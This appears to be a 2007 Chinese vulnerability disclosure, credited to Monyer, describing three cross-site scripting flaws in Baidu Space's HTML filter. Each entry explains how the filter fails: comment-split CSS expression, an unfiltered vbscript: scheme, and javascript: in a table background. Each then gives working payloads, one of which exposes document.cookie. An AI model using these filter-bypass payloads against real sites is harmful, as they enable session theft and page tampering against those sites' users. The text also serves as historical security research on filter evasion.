百度空间07年三个跨站漏洞
来源:梦之光芒
一、
# discover by Monyer
# http://hi.baidu.com/monyer
漏洞成因:百度虽然对于插入的html标签的属性进行过滤,包括style(层叠样式表),但是并没有对混淆在样式中的注释部分进行位置检查。造成可以通过在expression中插入注释,譬如:expr/*XSS*/ession,并以此方式绕过百度的过滤系统。但是由于在IE运行时会忽略掉注释内容,使得XSS代码得以正常运行,跨站即产生
示例:<img STYLE="xss:expr/*XSS*/ession(alert("XSS"))">
<div STYLE="xss:expr/*XSS*/ession(this.innerHTML="<h1> monyer</h1>")"></div>
# http://hi.baidu.com/monyer【2007-1-10】
———————————————————————————————————————————————
二、
# discover by Monyer
# http://hi.baidu.com/monyer
漏洞成因:虽然百度空间费劲心思过滤了javascript,过滤了expression,过滤了等等的一些触发事件。可是它忽略了过滤vbscript,因此造成了一个非常严重的跨站漏洞的出现
示例:<img src="vbscript:msgbox("xss")" />
<img src="vbscript:msgbox(document.cookie)" />
# http://hi.baidu.com/monyer【2007-1-10】
———————————————————————————————————————————————
三、
# discover by Monyer
# http://hi.baidu.com/monyer
漏洞成因:我们知道对于backgroud样式属性是需要嵌套url才能引用XSS代码的,如果直接把代码写进backgroud是不能运行的,因为缺少了一个触发机制。而table标签会自动加载内部内容——相当与eval。(如果你上一个比较慢的空间,并且整个空间只有一个table,那么你会发现直到整个table数据全部下载到本地才能显示网页内容,原因即是如此)
示例:<table><tr><td background="javascript:alert(/xss/)"></tr></table>
<table >
<tr >
<td background="javascript:TheId.innerHTML=%22<embed src=\'URL\' height width >%22" >sth or noting</td >
</tr >
</table >
# http://hi.baidu.com/monyer【2007-1-10】